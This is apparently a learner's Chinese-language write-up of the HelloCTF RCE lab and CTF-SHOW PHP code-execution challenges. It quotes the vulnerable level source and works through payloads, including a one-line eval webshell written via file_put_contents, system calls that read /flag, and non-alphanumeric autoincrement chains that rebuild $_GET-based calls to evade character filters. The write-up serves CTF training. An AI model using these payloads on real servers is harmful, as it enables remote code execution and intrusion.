?>

创建和清空沙盒 好像做过这种题 (hitcon2017的ssrfme)

image-20250729100805857

  • HITCON2017 babyfirst-revenge(这题是这关的原型)

先来分析源码

首先echo $_SERVER[‘REMOTE_ADDR’].这个是获取我们的ip

然后创建了一个沙盒路径 之后根据我们的ip 和“orange”进行一个拼接然后md5编码

@mkdir($sandbox);根据上文的 $sandbox,创建一个文件夹

@chdir($sandbox);进入该文件夹‘

然后就是判断 GET 请求是否传入cmd参数, 如果有的话就是否小于等于5个字符 如果是的话, 就使用 exec 执行命令而如果 GET 请求传入 reset 参数就执行 '/bin/rm -rf ' . $sandbox , 删除用户文件夹、

然后来看

在反弹Shell之前, 看一些 Linux 终端的小技巧

image-20250729105457929

绕过长度限制写多条命令想到的就是把命令放到文件去执行 这里就是如何写文件

‘>’1没有单引号 尖括号1可以创建一个名为1的文件

ls -t根据文件最后的修改时间排序, 越晚修改的越前面
如果没有 -t 参数的话, 会默认按照字典顺序排列
还有这些排序方式
ls -S 按文件大小排序
ls -r 反转排序(从大到小)
ls -v 按自然顺序排序(file1 file2 file10 而不是 file1 file10 file2)
ls –sort=extension 按扩展名排序

sh 1可以把1文件中的内容当作命令执行

\可以用来拼接命令

尝试一下

image-20250729110137789

在回车前打一个\, 就可以在下一行接着输入命令衔接上一行

image-20250729110222132

>>可以使前面文本追加到后面的文件中

image-20250729110451926

改成> 就是覆盖了

命令的结果可以作为输入写进去 来试一下

image-20250729111446788

所以思路就是

准备好反弹Shell命令, 和ls -t>a命令

拆分反弹Shell命令, 设计好顺序, 使用>创建各个分块命名的文件

然后执行 ls -t>a 命令

利用ls -t,,>实现短命令执行

有了思路之后问题就是怎么排序让他们按序排列了

image-20250730101547847

把这辈子能想到的排序都试了一次了

image-20250730101751880

image-20250730101835438

这样构造是可以的

拼接反弹shell的命令

放置了 等我再好好学学反弹shell

Level 16(4字符)

Level 17(命令执行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php 
session_start();
/*
--- HelloCTF - RCE靶场 : 命令执行 - PHP命令执行函数 ---

喵喵喵ww https://www.php.net/manual/zh/ref.exec.php

system() 函数用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。eg:system('cat /etc/passwd');
exec() 函数可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。eg:exec('cat /etc/passwd', $result); print_r($result);
shell_exec() 函数执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。eg:echo shell_exec('cat /etc/passwd');
passthru() 函数执行系统命令并将执行结果输出到页面中,支持二进制数据。eg:passthru('cat /etc/passwd');
popen() 函数执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。eg:$result = popen('cat /etc/passwd', 'r'); echo fread($result, 100);
反引号 用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。eg:echo \cat /etc/passwd`;`

在该关卡中,你将会从能够执行系统命令的PHP函数中抽取一个,你需要填充函数的内容来执行某些系统命令以获取flag(tip:flag存储在 /flag 中,当然你也可以尝试其他方法)。


*/
function hello_ctf($function, $content){
if($function == '``'){
$code = '`'.$content.'`';
echo "Your Code: $code <br>";
eval("echo $code");
}else
{
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}

}

function get_fun(){

$func_list = ['system', 'exec', 'shell_exec', 'passthru', 'popen','``'];

if (!isset($_SESSION['random_func'])) {
$_SESSION['random_func'] = $func_list[array_rand($func_list)];
}

$random_func = $_SESSION['random_func'];

$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);

echo $random_func == '``' ? "获得隐藏运算符: 执行运算符 ,去 https://www.php.net/manual/zh/language.operators.execution.php 详情。<br>" : "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";

return $_SESSION['random_func'];

}

function start($act){

$random_func = get_fun();

if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
session_unset();
session_destroy();
}

if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}

}

isset($_GET['action']) ? start($_GET['action']) : '';

highlight_file(__FILE__);

?>




图片看着清楚一点

PHP命令执行函数

image-20250730110132408

Leve 18(环境变量注入)

我是如何利用环境变量注入执行任意命令 - 跳跳糖

如何利用环境变量注入执行任意命令 - h0cksr - 博客园

根本看不懂哈哈。

Level 19(文件写入导致的RCE)

文件写入漏洞是指攻击者通过未验证的用户输入,控制文件的保存路径和内容,从而实现恶意操作。这种漏洞可能进一步被利用为远程代码执行(RCE),对系统造成严重威胁。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
/*

--- HelloCTF - RCE靶场 : 文件写入导致的RCE ---

https://www.php.net/manual/zh/function.file-put-contents.php

参考可以写入的内容:
<?php @eval($_POST['a']); ?>

*/

function helloctf($code){
$code = "file_put_contents(".$code.");";
eval($code);
}

isset($_GET['c']) ? helloctf($_GET['c']) : '';

highlight_file(__FILE__);

?>


file_put_contents将数据写入文件

PHP: file_put_contents - Manual

image-20250730113536719

1
2
3
4
5
6
7
8
9
<?php
$file = 'people.txt';
// 打开文件获取已经存在的内容
$current = file_get_contents($file);
// 追加新成员到文件
$current .= "John Smith\n";
// 将内容写回文件
file_put_contents($file, $current);
?>

由于file_put_contents函数完全可控

存在两个利用点:

任意文件写入

可以写入一句话木马到自定义文件访问

1
2
3
4
?c='shell.php','<?php+@eval($_POST["cmd"]);?>');//
#进行注释避免报错
?c='shell.php','%3C%3Fphp%20%40eval(%24_POST%5B%22a%22%5D)%3B'
#注意,一定要进行url编码

然后post传参给a执行系统system命令

直接代码执行

通过构造参数闭合原函数调用,并追加任意PHP代码

image-20250730152845570

Level 20(文件上传)

没有任何waf的文件上传

Level 21(文件包含)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php 
/*


--- HelloCTF - RCE靶场 : 文件包含导致的RCE ---

allow_url_fopen = On
allow_url_include = On
默认全开的环境,可以尝试多种解法,若对此存有疑问,尝试去 github.com/ProbiusOfficial/PHPinclude-labs 了解更多文件包含的知识。

远程文件包含可用链接(<?php @eval($_POST['a']); ?>):
https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI
https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI

FilterChain的Payload生成器:
https://probiusofficial.github.io/PHP-FilterChain-Exploit/
/exp.php

注意:在本关卡中你传递的内容将以字符串的方式拼接在 include() 函数中,你需要区别这与 incluude($_GET['file']) 的区别。
*/

function helloctf($code){
$code = "include(".$code.");";
echo "Your includeCode : ".$code;
eval($code);
}

isset($_POST['c']) ? helloctf($_POST['c']) : '';

highlight_file(__FILE__);

?>

ProbiusOfficial/PHPinclude-labs: 【Hello-CTF labs】PHP文件包含类靶场,各类协议的讲解以及基于协议的LFI/RFI

文件包含 回头也要重新学 🐎一下

源码:

支持远程文件包含(RFI)

支持本地文件包含(LFI)

支持 PHP 伪协议(如 php://input, php://filter)

类型 函数 举例 说明
LFI(本地文件包含) include()require()include_once()require_once() ?file=../../etc/passwd 只能包含本地文件
RFI(远程文件包含) 仅当 allow_url_include = On ?file=http://attacker/shell.txt 可以包含远程代码

你的输入并不是直接作为 include 的参数传入,而是作为一部分被拼接进了一个字符串里,然后 include。

写法 能否控制完整路径 可否远程包含 可否利用伪协议 危险等级
include($_GET['file']) ✅ 是 ✅ 是(取决于配置) ✅ 是 🔥 高
include(".$code."); ❌ 否(被前后拼接限制) ❌ 否 ❌ 否 🟡 中等偏低

include($_GET['file']):用户的输入就是整个参数

include(".$code.");:用户的输入只是字符串的一部分,你无法控制整个 include()

Level 22(PHP 特性利用-动态调用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
/*
--- HelloCTF - RCE靶场 : HP 特性 - 动态调用 ---

PHP 支持在运行时动态构建并且调用函数,在下面的代码中 a可以被作为函数,b可以被作为函数的参数。

try ?a=system&b=ls

*/

isset($_GET['a'])&&isset($_GET['b']) ? $_GET['a']($_GET['b']) : null;

highlight_file(__FILE__);

?>

变量函数语法:

若变量后跟随 (),PHP 会将该变量的值作为函数名执行。例如:

1
2
3
4
5
6
// 写法1:直接变量调用
$a = 'system';
$a('id'); // 执行 system('id')

// 写法2:括号包裹变量
($a)('id'); // 同样执行 system('id')

当代码中存在 $_GET['a']($_GET['b']) 时:

$_GET['a'] 的值会被解析为 函数名

$_GET['b'] 的值会被解析为 函数的参数

image-20250730165319597

?a=system&b=cat /flag //payload

Level 23(自增特性)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17


<?php
error_reporting(0);

highlight_file(__FILE__);

isset($_POST['code']) ? $code = $_POST['code'] : $code = null;

if(preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/", $code)){
die("WAF!");
}else{
echo "Your Payload's Length : ".strlen($code)."<br>";
eval($code);
}

?>

放代码块里有点不好看 拿出来吧

— HelloCTF - RCE靶场 : PHP 特性 - 自增 —

可用字符 :! $ ‘ ( ) + , . / ; = [ ] _

自增通过下面几个特性实现:
变量:
在PHP中变量以 $ 开头,后面为变量名称,PHP中变量可以是下划线 _ 开头,所以 $_ 是一个变量,$__ 则是不同的变量,就像 $a 和 $aa 一样。_

数组->字符串:
在PHP中,非字符串是不能使用 . 符号进行拼接的,当你强制拼接时 PHP 会将非字符串转换为字符串:
$
= 1; var_dump($); var_dump($.’’);
这将会输出:int(1) string(1) “1”
但如果 $_ 是一个数组,则会被强制转换为字符串 Array 而无视数组内容。
所以 [].’’ 表示在空数组后面拼接空字符串,PHP会优先转换类型,从而将数组转换为字符串 Array。

解释一下这一点

PHP 中 . 是字符串拼接符号:

1
echo 'a' . 'b';  // 输出 ab

如果拼接时遇到非字符串,比如整数、数组,PHP 会尝试自动转为字符串。

1
2
$_ = 1; echo $_ . '';  // 输出 1(因为 1 被转为字符串)
$_ = []; echo $_ . ''; // 输出 Array(数组转字符串)

利用这个特性:

1
2
php复制编辑$_ = ([].'');        // 结果是 "Array"
$_ = $_[0]; // $_ = "Array"[0] → 得到 "A"

用于构造特定字符 "A""r""s" 等,再通过 ++ 拼接出完整函数名

字符串:

字符串本质上是一个字符的有序序列,同C语言类似,你可以直接通过索引(或者说下标)的方式直接访问字符串中的字符。
$_ = “Hello-CTF”;var_dump($[0]);
这将会输出 string(1) “H”
所以在 $
= ([].’’)[0]; var_dump($_); 你会得到输出:string(1) “A”

解释:

1
2
3
$s = 'ABC';
echo $s[0]; // 输出 A
echo $s[1]; // 输出 B

可以从字符串中提取指定字符:

1
2
php复制编辑$_ = ([].'');  // → "Array"
$_ = $_[1]; // → "r"

配合 ++ 得到下一个字符,例如 "r"++ = "s"

自增:
这是一个编程语言中很常见的操作,我们一般在for循环会写到的语句 i++ 或者 ++i,这是一个自增操作,PHP也一样,只不过我们的变量名称不是很常见与之等效的 $++ 或者 ++$

PHP会将其转换为ASCII码当我们对一个字符或者是字母进行自增操作时,PHP会将其转换为ASCII码,然后自增,然后再转换为字符。

直观一点 A++ 将会输出 B,Z++ 将会输出 AA。

区分前置自增和后置自增:++的位置决定语句的执行顺序,++在前面时会先进行自增操作。

$_ = ([].’’)[0]; 在前面时输出B,后面时输出A。

PHP 支持对字符串做自增:

1
2
$a = 'A'; $a++; echo $a;  // B
$z = 'Z'; $z++; echo $z; // AA

支持多字符:

1
2

$s = 'AZ'; $s++; echo $s; // BA

所以通过特性的连用,你可以看到很多自增的Payload长这样:
payload=$=(/.)[‘’==’‘];$++;$__ = $++;$_ = $.$__;$++;$++;$++;$__ = $.$++.$++;$_ = $;$__ =’‘;$__.=$;$$__;
&
=system
&_=ls

自增题目的考点通常在Payload的长度限制,挑战关卡,让你的Payload足够短吧。
*/

image-20250730175721953

要进行一下url编码

来看一下这个payload详细拆分

基于 PHP 自增、自定义变量、变量变量、类型转换 等特性,构造的 WAF 绕过 + RCE 执行链

1
2
3
4
5
6
7
8
9
10
$_ = (_/_._)[''=='_'];   // $_ = 'A';
$_++; // $_ = 'B';
$__ = $_++; // $__ = 'B'; $_ = 'C';
$__ = $_ . $__; // $__ = 'C' . 'B' = 'CB';
$_++; $_++; $_++; // $_ = 'F';
$__ = $__ . $_++ . $_++;// $__ = 'CB' . 'F' . 'G' = 'CBFG'; $_ = 'H';
$_ = $__; // $_ = 'CBFG';
$__ = '_'; // $__ = '_';
$__ .= $_; // $__ = '_' . 'CBFG' = '_CBFG';
$$__['__']($$__['_']); // 相当于 $_CBFG['__']($_CBFG['_']);
1. $_ = (_/_._)[''=='_'];

_ / _._ 会触发一个错误(除以空对象),但这段不是重点;

(/.)[‘’==’‘]‘’]==’_’false,即 0

所以相当于 (任意出错)[0],PHP中此表达式返回 “A”`(数组强转字符串,默认起始字符是 ‘A’);

2.$_++;

PHP 的字符自增规则:

‘A’++=‘B’`

‘Z’++=‘AA’`

3.$__ = $_++;

等价于:

1
2
$__ = $_;   // $__ = 'B'
$_++; // $_ = 'C'
$$__['__']($$__['_']);

这一行非常关键!

  • $__ = '_CBFG'
  • $$__ 等价于 $_CBFG
  • 所以是:
1
$_CBFG['__']($_CBFG['_']);

CBFG 是在很多 payload 示例里一个 字符偏移最短、拼接容易、不触发 WAF 的选择。

Level 24(无参数RCE)

https://www.php.cn/php/php-superglobals.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52


<?php
include ("get_flag.php");
/*
--- HelloCTF - RCE靶场 : PHP 特性 - 无参命令执行 ---

根据正则表达式的匹配规则,可以看到我们只能输入A(),这样的形式,括号中无法携带参数,但支持多个函数嵌套A(B(C())),这种形式我们称其为无参命令执行。
无参命令执行的难度首先是在于无参本身,这需要你利用一些函数特性外带参数绕过限制 —— 这可以从一些获取外部值的函数实现:
getallheaders()
session_id()
...
其次是对嵌套参数的处理 —— 当然不局限于外带进来的参数,一些诸如 localeconv() 的函数可以获取内部存在的一些参数如当前目录下面的文件信息等:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。

通常我们获取到的很多情况下是数组,所以有时候比较依赖对数组的操作,比如:

- array_reverse():数组反转
- pos():输出数组第一个元素
- next():指向数组的下一个元素,并输出
...

随后是一些文件读取显示的操作:

- show_source() - 对文件进行语法高亮显示。
- readfile() - 输出一个文件。
- highlight_file() - 对文件进行语法高亮显示。
- file_get_contents() - 把整个文件读入一个字符串中。
- readgzfile() - 可用于读取非 gzip 格式的文件

...你随时可以通过查阅PHP官方手册中函数相关的部分来找到上面类似的内容。
*/

function hello_code($code){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $code)){
eval($code);
}else{
die("O.o");
}

}

isset($_GET['code']) ? hello_code($_GET['code']) : null;

highlight_file(__FILE__);

?>


根据正则表达式的匹配规则,可以看到我们只能输入A(),这样的形式,括号中无法携带参数,但支持多个函数嵌套A(B(C())),这种形式我们称其为无参命令执行。

无参命令执行

存几个博客慢慢啃

RCE篇之无参数rce - 学安全的小白 - 博客园

https://blog.csdn.net/Manuffer/article/details/120738755

无参数函数RCE | A1andNS’s Blog

PHP 超级全局变量 - php完全自学手册 - php中文网手册

在无法传入参数的情况下,仅仅依靠传入没有参数的函数套娃就可以达到命令执行的效果

什么叫无法传入参数的情况

通常来说如果在PHP中有一个语句

1
eval($_POST['cmd']);

我们就可以利用cmd这个参数来getshell。

但是很可惜的是cmd这个参数被做了过滤。

1
2
3
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['cmd'])) {    
eval($_GET['cmd']);
}

变成了这样后,如果我们使用参数就会出现问题,正则校验是无法通过的。

形式是函数调用,如 A();A(B());A(B(C()));(不允许参数!)

这些合法调用全部被 preg_replace() 删除后,结果必须恰好是 ';'

所以你只能构造:纯函数嵌套调用 + 一个末尾分号

PHP中预定义了几个超级全局变量(superglobals) ,这意味着它们在一个脚本的全部作用域中都可用。 你不需要特别说明,就可以在函数及类中使用。

PHP 超级全局变量列表:

$GLOBALS

$_SERVER

$_REQUEST

$_POST

$_GET

$_FILES

$_ENV

$_COOKIE

$_SESSION

image-20250731151856544

常见的绕过方法

1、getallheaders()

这个函数的作用是获取http所有的头部信息,也就是headers,然后我们可以用var_dump把它打印出来,但这个有个限制条件就是必须在apache的环境下可以使用,其它环境都是用不了的

测试代码

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);}
else
die('nonono');}
else
echo('please input code');
?>

image-20250731155944708

可以看到,所有的头部信息都已经作为了一个数组打印了出来,在实际的运用中,我们肯定不需要这么多条,不然它到底执行哪一条呢?所以我们需要选择一条出来然后就执行它,这里就需要用到php中操纵数组的函数了,这里常见的是利用end()函数取出最后一位,这里的效果如下图所示,而且它只会以字符串的形式取出而不会取出键,所以说键名随便取就行:

image-20250731162816270

大概就是这样

然后把var_dump改成eval就可以实现任意php代码的代码执行了

2、get_defined_vars()

getallheaders()是有局限性的,因为如果中间件不是apache的话,它就用不了了,有一种更为普遍的方法get_defined_vars()

这个函数是返回由已经定义变量所组成的数组。

image-20250731172001226

image-20250731171342576

这里我们就需要先将二维数组转换为一维数组,这里我们用到current()函数,这个函数的作用是返回数组中的当前单元,而它的默认是第一个单元,也就是我们GET方式传入的参数

image-20250731172155397

这里可以看到成功输出了我们二维数组中的第一个数据,也就是将GET的数据全部输出了出来,相当于它就已经变成了一个一维数组了,那按照我们上面的方法,我们就可以利用end()函数以字符串的形式取出最后的值,然后直接eval执行就行了

image-20250731172543092

image-20250731172744907

?code=eval(end(current(get_defined_vars())));&xiubi=system(‘whoami’);

3、session_id()

种方法和前面的也差不太多,这种方法简单来说就是把恶意代码写到COOKIEPHPSESSID中,然后利用session_id()这个函数去读取它,返回一个字符串,然后我们就可以用eval去直接执行了,这里有一点要注意的就是session_id()要开启session才能用,所以先说session_start()

必须执行 session_start(),否则 session_id 无法生效,PHP 也不会加载 session 文件

当调用 session_start() 时,PHP 会:

根据请求中的 PHPSESSID(通常来自 Cookie)查找对应的 Session 文件(默认在 /tmp/sess_XXXXX)。

加载内容,并自动将其反序列化到 $_SESSION 数组中。

步骤 作用
设置 PHPSESSID 指定服务端读取的 Session 文件
写入恶意 Session 内容 在服务端 sess_XXXX 文件中植入 payload
调用 session_start() PHP 自动加载对应 Session 文件内容进 $_SESSION
利用 eval()assert() 触发执行恶意代码

PHPSESSIID中只能有A-Z a-z 0-9-,所以说我们要先将恶意代码16进制编码以后再插入进去,而在php中,将16进制转换为字符串的函数为hex2bin

image-20250731174329136

我的环境显示不出

例题 GXYCTF 2019禁止套娃

回到探姬的靶场来看

payload:

1
?code=var_dump(scandir(current(localeconv())));

它最终的意图是:输出当前 locale(区域设置)目录下的文件列表。

scandir功能是返回目录下的文件和目录名 比如说scandir(“some/path”) 会列出some/path目录下的所有文件

current会返回数组的当前元素

最里层是localeconv:返回当前地区格式信息的关联数组,包含诸如小数点、千分位符、货币符号等。

逐层执行顺序如下:

  1. localeconv() 返回一个数组

  2. current(...) 取这个数组的第一个值,比如 "."(小数点字符)

  3. scandir(...) 试图列出该目录下的内容,例如 scandir('.')

  4. var_dump(...) 输出返回的文件列表数组

    ?code=show_source(array_rand(array_flip(scandir(current(localeconv())))));

Level 25(取反绕过)

PHP-inversion Payload Generator

工具

Level 26(无字母数字的代码执行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php 
/*
--- HelloCTF - RCE靶场 : PHP 特性 - 无字母数字的代码执行 ---

参考和依据的文章:https://xz.aliyun.com/t/8107

*/

highlight_file(__FILE__);

isset($_POST['code']) ? $code = $_POST['code'] : $code = null;

if(preg_match("/[a-z0-9]/is", $code)){
die("WAF!");
}else{
echo "Your Payload's Length : ".strlen($code)."<br>";
eval($code);
}

?>

无字母数字webshell总结-先知社区

CTF-SHOW

RCE挑战1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

error_reporting(0);
highlight_file(__FILE__);

$code = $_POST['code'];

$code = str_replace("(","括号",$code);

$code = str_replace(".","点",$code);

eval($code);

?>

()会被替换成 “括号”,导致无法直接调用函数,例如不能用phpinfo()`。

. 会被替换成 “点”,导致不能进行字符串拼接或调用方法(如 $a->b() 中的 -> 需要 . 拼接)。

PHP 支持用反引号执行命令

1
echo `cat /flag`;

image-20250801102117108

匹配的时候用f*

RCE挑战2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>

还剩下这些东西’ () + , . ; = [] _

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$_=''.[];
$_=$_['_'];
$_++;
$_++;
$_++;
$__=++$_;
$_++;
$___=++$_;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_=_.$___.$__.$_;
$$_[_]($$_[__]);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$_=''.[];//$_ = 'Array';
$_=$_['_'];//前置步骤
$_++;a
$_++;b
$_++;c
$__=++$_;//$__=d
$_++;
$___=++$_;//e
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_=_.$___.$__.$_;
$$_[_]($$_[__]);//${'GET'}['_'](${ 'GET' }['__']);
//$_GET['_']($_GET['__']);

RCE挑战3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}

多了长度为105的限制 但是可以使用0和1

1
2
3
4
5
6
7
$_=(0/0)._;
$_=$_[_];
$__=++$_;
$__=$__.$__++;
++$_;++$_;++$_;++$_;
$__=_.$__.$_.++$_;
$$__[0]($$__[1]);

image-20250804205714732

ppt写的比这里详细

完结撒花了

极限命令执行1

centos7的环境是可以直接使用/执行文件的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag

error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",$ctfshow)){
system($ctfshow);
}else{
echo("????????");
}
}
?>

可以看到a没有被禁用 用?匹配就可以了 可以看level6那 考察的是通配符绕过

image-20250807210644577

极限命令执行2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
}
?>


这里要写脚本看看过滤了什么

不过我感觉用爆破也是一样的

可以试一下